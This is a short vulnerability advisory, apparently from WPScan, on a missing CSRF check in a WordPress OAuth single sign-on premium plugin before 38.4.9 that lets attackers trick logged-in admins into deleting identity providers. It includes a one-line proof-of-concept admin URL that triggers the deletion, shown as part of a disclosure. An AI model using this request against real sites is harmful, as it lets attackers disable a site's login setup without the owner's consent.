OAuth Single Sign On - SSO (OAuth Client) Premium < 38.4.9 - IdP Deletion via CSRF

2023-02-2800:00:00

Nguyen Thuc Tuyen

wpscan.com

oauth

single sign on

sso

premium

csrf

identity providers

admins

EPSS

0.001

Percentile

47.5%

JSON

The plugin does not have CSRF checks when deleting Identity Providers (IdP), which could allow attackers to make logged in admins delete arbitrary IdP via a CSRF attack

PoC

https://example.com/wp-admin/admin.php?page=mo_oauth_settings&tab;=config&action;=delete&app;=wordpress

EPSS

0.001

Percentile

47.5%

JSON

Related for WPVDB-ID:52E29F16-B6DD-4132-9BB8-AD10BD3C39D7